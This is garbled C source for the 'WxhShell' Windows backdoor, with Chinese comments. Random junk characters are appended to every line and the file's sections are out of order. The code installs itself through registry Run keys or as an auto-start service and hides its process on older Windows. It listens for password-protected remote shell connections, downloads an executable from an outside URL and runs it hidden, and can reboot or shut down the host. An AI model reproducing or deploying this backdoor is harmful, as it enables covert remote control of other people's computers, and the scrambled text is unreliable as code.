} PROCESS_BASIC_INFORMATION; ~nYp*t C'
BkywYCWZ )
PROCNTQSIP NtQueryInformationProcess; |dNJx<-
t8SvU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]^aOYtKX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /zxLnT;
5
dJyf.VJ
HANDLE hProcess; X*f#S:kiNU
PROCESS_BASIC_INFORMATION pbi; 6zv-nMZc
6&,n\EXF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); me-Tv7WL
if(NULL == hInst ) return 0; .Uk ejx
A"|y<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l
Ozi|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zgre&BV0q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); obA}SF
Cka&b
if (!NtQueryInformationProcess) return 0; .*N]SbU<8
t!}QG"ma
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0X \OQ;
if(!hProcess) return 0; +c4-7/kE
q8&2M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f3 _-{<FZ
[I6(;lq2
CloseHandle(hProcess); ~)J]`el,Q
R(YhVW_l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ":=\ci]e%
if(hProcess==NULL) return 0; Tfasry9'8
hF m_`J&"
HMODULE hMod; GD*rTtDWn
char procName[255]; ]M^k~Xa
unsigned long cbNeeded; i/Zv@GF
bogw /)1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,Sz`$'^c
\tv^],^`
CloseHandle(hProcess); tc-pVw:TV
Std?p{
i
if(strstr(procName,"services")) return 1; // 以服务启动 FXLY*eRk
TpnJm%9`)t
return 0; // 注册表启动 </xz
V<Pi
} K|n%8hRy
#fB&Hv #s7
// 主模块 U(xN}Y?
int StartWxhshell(LPSTR lpCmdLine) RLy2d'DS
{ 0}LBnV
SOCKET wsl; ~!V5Ug_2
BOOL val=TRUE; =f48[=
int port=0; 9E`WZo^.
struct sockaddr_in door; LWH(bs9U
Kjw==5)}
if(wscfg.ws_autoins) Install(); Myj5qh
ENx1) ]
port=atoi(lpCmdLine); C8^h`B9z&I
r'|V z*/h
if(port<=0) port=wscfg.ws_port; d6(R-k#B
FYOQ}N
WSADATA data; ^Om0~)"q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \xCI8 *W
?=u/&3Cw
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; JAt$WW{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nK!yu?mS
door.sin_family = AF_INET; e6G=Bq$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1gK<dg
door.sin_port = htons(port); c>SFttbU
5Z8Zb.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I,7~D!4G
closesocket(wsl); ^|^yw gK
return 1; E&;[E
} c<k=8P
\@\r`=WgB
if(listen(wsl,2) == INVALID_SOCKET) { ajM3Uwnr
closesocket(wsl); a:q>7V|%$
return 1; :| s
} y
nue;*rM
Wxhshell(wsl); %|"0p3
WSACleanup(); S['rfD>9
B|\JGnNQ
return 0; m8j Q~OS
]VKM3[
} i`nmA-Zj[
a *hWODYn
// 以NT服务方式启动 yr;~M{{4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |_6V+/?"?`
{ kT-dQ32
DWORD status = 0; |2Krxi3*
DWORD specificError = 0xfffffff; O c,E\~
0 _n
Pq
serviceStatus.dwServiceType = SERVICE_WIN32; +6zW(Ql/
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kA .U2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hSN{jl{L`
serviceStatus.dwWin32ExitCode = 0; 5SB!)F]
serviceStatus.dwServiceSpecificExitCode = 0; "_f~8f`y
serviceStatus.dwCheckPoint = 0; 2uCw[iZM
serviceStatus.dwWaitHint = 0; mRurGaR
k4C3SI*`4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3-=f@uH!
if (hServiceStatusHandle==0) return; dCb7sqJ%
;c/|LXc\
status = GetLastError(); pftnFOLO
if (status!=NO_ERROR) $q$G
{ X_3*DqY
serviceStatus.dwCurrentState = SERVICE_STOPPED; -n:~m
p
serviceStatus.dwCheckPoint = 0; AT:L&~O.
serviceStatus.dwWaitHint = 0; i?3~Gog
serviceStatus.dwWin32ExitCode = status; ia9=&Hy])
serviceStatus.dwServiceSpecificExitCode = specificError; z [|:HS&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tqf:G4!
return; +GYO<N7
} ,J$XVvwxF
= :/4)
serviceStatus.dwCurrentState = SERVICE_RUNNING; `iQ])C^d
serviceStatus.dwCheckPoint = 0; B,5kG{2!
serviceStatus.dwWaitHint = 0; a 23XrX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *HONA>u
} UR|Au'iu
{}n]\zO %
// 处理NT服务事件,比如:启动、停止 A3uF 0A
VOID WINAPI NTServiceHandler(DWORD fdwControl) cb3Q{.-.#
{ ZLGglT'EW>
switch(fdwControl) R/WbcQ)
{ IDY2X+C#U
case SERVICE_CONTROL_STOP: !,cLc}a
serviceStatus.dwWin32ExitCode = 0; QomihQnc
serviceStatus.dwCurrentState = SERVICE_STOPPED; "*bP @W
serviceStatus.dwCheckPoint = 0; /ucS*m:<x
serviceStatus.dwWaitHint = 0; #FhgKwx
{ mx!EuF$I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dq~\U&U\$
} '% if< /
return; /prR;'ks
case SERVICE_CONTROL_PAUSE: ~Fe$/*v
serviceStatus.dwCurrentState = SERVICE_PAUSED; <-h[I&."
break; {y%|Io`P
case SERVICE_CONTROL_CONTINUE: '>^!a!<G
serviceStatus.dwCurrentState = SERVICE_RUNNING; !jTxMf
break; h}U>K4BJ
case SERVICE_CONTROL_INTERROGATE: ?8/T#ox
break; hh[@q*C
}; @kPe/j/[1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1\X_B`xwD
} .
#FJM2Xk
Y2TXWl,Jk
// 标准应用程序主函数 m S4N%Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /8? u2
q
{ h
J H
LTTMxiq[*
// 获取操作系统版本 XOoz.GSQ
OsIsNt=GetOsVer(); \v_R]0m\
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ve ipM
6pdek3pOCt
// 从命令行安装 m##_U9O
if(strpbrk(lpCmdLine,"iI")) Install(); _B?Hw[cc
re xMS
// 下载执行文件 tc|PN+v;
if(wscfg.ws_downexe) { CklIrD{
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d6f T
WinExec(wscfg.ws_filenam,SW_HIDE); ^4~?]5Y\
} ]^0mh["
ANRZQpnXQ
if(!OsIsNt) { s}<i[hY>
// 如果时win9x,隐藏进程并且设置为注册表启动 |vPU]R>6
HideProc();
WjsmLb:5
StartWxhshell(lpCmdLine); M#.dF{%%
} Ms=N+e$n
else $YiG0GK<"
if(StartFromService()) )agrx76]3w
// 以服务方式启动 C*stj
StartServiceCtrlDispatcher(DispatchTable); M%#F"^8v
else +[`
)t/
// 普通方式启动 GOUO
StartWxhshell(lpCmdLine); "
V4@nv
N5b^
return 0; 'x,6t66*"l
} v[\GhVb
{yFMY?6rf
^8=e8O
tRbZX{
=========================================== i3vg7V.
~^J9v+
RN2z/FUf
G2dPm}s ZG
nH}V:C
IqFmJs|C
" i
2 ='>
p+;;01Z+_
#include <stdio.h> 5Y>fVq{U?;
#include <string.h> f{-,"6Y1
#include <windows.h> u/apnAW@M
#include <winsock2.h> ZmvtUma
#include <winsvc.h> a/n~#5-
#include <urlmon.h> (\%J0kR3[
}vd72PB
#pragma comment (lib, "Ws2_32.lib") lXRB"z
#pragma comment (lib, "urlmon.lib") MM*9Q`cB
E
<N%
#define MAX_USER 100 // 最大客户端连接数 T>irW(
#define BUF_SOCK 200 // sock buffer cv_t2m
#define KEY_BUFF 255 // 输入 buffer R(s[JH(&
W/.n
R[!
#define REBOOT 0 // 重启 I2gSgv%
#define SHUTDOWN 1 // 关机 ma6Wr !J
]l}bk]
#define DEF_PORT 5000 // 监听端口 wlDo(]mj=O
|fY#2\)Yx
#define REG_LEN 16 // 注册表键长度 P6)d#M
#define SVC_LEN 80 // NT服务名长度 o QR?H
t!59upbN}3
// 从dll定义API rAk;8)O$
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rl'xEtaN
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xLP8*lvy
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 24*3m&fA*K
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t$PJ*F67M
Of#"nu
// wxhshell配置信息 tm.&k6%
struct WSCFG { p.5 *`, )
int ws_port; // 监听端口 1
J[z ![Tf
char ws_passstr[REG_LEN]; // 口令 @9lGU#
int ws_autoins; // 安装标记, 1=yes 0=no *,
R ~[g
char ws_regname[REG_LEN]; // 注册表键名 L+Gi
char ws_svcname[REG_LEN]; // 服务名 uT
Y G/O
char ws_svcdisp[SVC_LEN]; // 服务显示名 A:\_ \B%<
char ws_svcdesc[SVC_LEN]; // 服务描述信息 e 8^%}\F
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .*?)L3n+t
int ws_downexe; // 下载执行标记, 1=yes 0=no ]dT]25V
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }tJMnq/m($
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 orFB*{/Z
Z
ZT2c0AK
}; Ch]q:o4
= gcZ RoL
// default Wxhshell configuration F.D6O[pZ
struct WSCFG wscfg={DEF_PORT, }OSf C~5P
"xuhuanlingzhe", G+WCE*
1, [OFT!=.y &
"Wxhshell", t&-c?&FO\;
"Wxhshell", fO837
"WxhShell Service", D=)qd@,K
"Wrsky Windows CmdShell Service", ie/QSte
"Please Input Your Password: ", N@"e^i
1, r<;Y4<,BZ
"http://www.wrsky.com/wxhshell.exe", F#o{/u?T
"Wxhshell.exe" 5a/3nsup5
}; (kx>\FIK*
f5R%F~
// 消息定义模块 &<) _7?
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wKJK!P
char *msg_ws_prompt="\n\r? for help\n\r#>"; fN
1:'d
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9Dyw4'W.N
char *msg_ws_ext="\n\rExit.";
LNvkC4
char *msg_ws_end="\n\rQuit."; R(2MI}T
char *msg_ws_boot="\n\rReboot..."; T{
lm
z<g
char *msg_ws_poff="\n\rShutdown..."; ^.M_1$-
char *msg_ws_down="\n\rSave to "; lEpPi@2PK
17VNw/Y
char *msg_ws_err="\n\rErr!"; 0.#%KfQ
char *msg_ws_ok="\n\rOK!"; zu1gP/
Xg;q\GS/<i
char ExeFile[MAX_PATH]; &WdP=E"
int nUser = 0; >P6U0
HANDLE handles[MAX_USER]; ! &V,+}>)
int OsIsNt; VKi3z%kwK
XV!UeBq
SERVICE_STATUS serviceStatus; HPK}Z|Vl
SERVICE_STATUS_HANDLE hServiceStatusHandle; XlGB`P>?KD
/sl#M
// 函数声明 TSsx^h8/
int Install(void); "?YpF2pD
int Uninstall(void); 6,]2;'
int DownloadFile(char *sURL, SOCKET wsh); ?#__#
int Boot(int flag); #|lVQ@=
void HideProc(void); x_EU.924uY
int GetOsVer(void); &jDRRT3
int Wxhshell(SOCKET wsl); 3iiOxg?j
void TalkWithClient(void *cs); hflDVGBW
int CmdShell(SOCKET sock); +7K]5p;!~
int StartFromService(void); l_x>.' a
int StartWxhshell(LPSTR lpCmdLine); cr{dl\Na
hy:K) _
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bre6SP@
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :Czvwp{z
*c@]c~hY,
// 数据结构和表定义 &J=x[{R
SERVICE_TABLE_ENTRY DispatchTable[] = S*rc XG6Q^
{ gOk^("@
{wscfg.ws_svcname, NTServiceMain}, ,0$b8lb;x/
{NULL, NULL} q5w)i
}; /h@rLJ)o>
@HXXhYH
// 自我安装 %;G!gJeE
int Install(void) yNQ 9~P2
{ N?Ss/by8Sg
char svExeFile[MAX_PATH]; Os1y8ui
HKEY key; S[uHPYhlA
strcpy(svExeFile,ExeFile); m$$98N
ix}*whW=U
// 如果是win9x系统,修改注册表设为自启动 K9Pw10g'
if(!OsIsNt) { t{/
EN)J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p|w;StLy
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +'I8COoiv%
RegCloseKey(key); .LNqU#a
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { to 3i!b
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yM34G S=,J
RegCloseKey(key); 1'* {VmM
return 0; Xgm9>/y
} ;:gx;'dm5
} vGPaW YV
} )5bdWJ>l
else { ,#-^
9a_(_g>S
// 如果是NT以上系统,安装为系统服务 9$'Edi=6
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =j~}];I
if (schSCManager!=0) or]s
{ on1mu't_;
SC_HANDLE schService = CreateService m;I;{+"u
( |&%l @X6
schSCManager, "i*Gi
\U
wscfg.ws_svcname, k4 %> F
wscfg.ws_svcdisp, >:P3j<xTv
SERVICE_ALL_ACCESS, RwwX;I"o%
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :Zd# }P
SERVICE_AUTO_START, wwmODw<tT
SERVICE_ERROR_NORMAL, 1vxh3KS.
svExeFile, (.3L'+F
NULL,
?hpk)Qu
NULL, XC{(O:EG
NULL,
( ]o6Pi
NULL, #Ryu`b
NULL k07) g:_
); VbX$i!>8
if (schService!=0) `o*g2fW!
{ |wj/lX7y
CloseServiceHandle(schService); egi?Qg
CloseServiceHandle(schSCManager); G8?<(.pi@
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o[ %Q&u
strcat(svExeFile,wscfg.ws_svcname);
ss3fq}
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wh:`4Yw
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jW",'1h<n
RegCloseKey(key); L=}UApK
return 0; +=@Z5eu
} `ionMTZY
} ?-'Q-\j
CloseServiceHandle(schSCManager); tg5jS]O
} \>/:@4oK
} V2]S{!p}k
"WYcw\@U
return 1; 5tl}rmI`
} Fk(0q/b
z_l3=7R
// 自我卸载 [l5"'{x
int Uninstall(void) ?\F ,}e
{ {nOK*7+"
HKEY key; T[q-$8U
2i(|? XJ^
if(!OsIsNt) { qc'tK6=jp
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |I+E`,n"b
RegDeleteValue(key,wscfg.ws_regname); y!!+IeReS
RegCloseKey(key); e?lqs,m@"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <p0$Q!^dK=
RegDeleteValue(key,wscfg.ws_regname); W@$p'IBwm
RegCloseKey(key); #CQ>d8&
return 0; v
V^ GIWK
} c[y=K)<Z
} FVQWz[N
} %#QFu/l
else { v,i:vT\~
kdYl>M
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *u{.K:.I
if (schSCManager!=0) 1v\-jM"
{ M*S5&xpX
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fp![Pbms.
if (schService!=0) dju&Ku
{ {M~!?#<K
if(DeleteService(schService)!=0) { 8:xQPd?3
CloseServiceHandle(schService); o"1us75P
CloseServiceHandle(schSCManager); }lb.3fqiA
return 0; #Aan v
} 0~1P&Qs<
CloseServiceHandle(schService); VDmd+bvJV
} c\b>4 &n
CloseServiceHandle(schSCManager); !Z'm@,+
} +li^0+3-'
} (
L6`_)
#*]=
%-A
return 1; `A^} X
} -<O:isB
zuPH3Q={
// 从指定url下载文件 KnFbRhu[
int DownloadFile(char *sURL, SOCKET wsh) #EM'=Q%TO
{ >SGSn/AJi
HRESULT hr; er#=xqUY
char seps[]= "/"; X0$_KPn
char *token; Go67VqJr
char *file; TnaIRJ\B
char myURL[MAX_PATH]; L
wu;y@[
char myFILE[MAX_PATH]; Fszk?0T
B&$89]gs|
strcpy(myURL,sURL); ~3YNHm6V
token=strtok(myURL,seps); 2$ rq
while(token!=NULL) y d$37G|n
{ 2Ls<OO
file=token; t]o gn(
token=strtok(NULL,seps); 1<p"z,c
} E>1USKxn
UK<"|2^sT
GetCurrentDirectory(MAX_PATH,myFILE);
]\e zES
strcat(myFILE, "\\"); f\^QV
strcat(myFILE, file); E{ ,O}
send(wsh,myFILE,strlen(myFILE),0); an2Tc*=~l(
send(wsh,"...",3,0); Vi|jkyC8
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m #eD v*
if(hr==S_OK) yEny2q}
return 0; e4b~s
else Mww]l[1'EL
return 1; D{l((t3=T
h5gXYmk
} 9$ S,P|
j&pgq2Kl
// 系统电源模块 .2P?1HpK
int Boot(int flag) E)E!
{ Ttj5%~
HANDLE hToken; 'x0t,
;g
TOKEN_PRIVILEGES tkp; <Gw<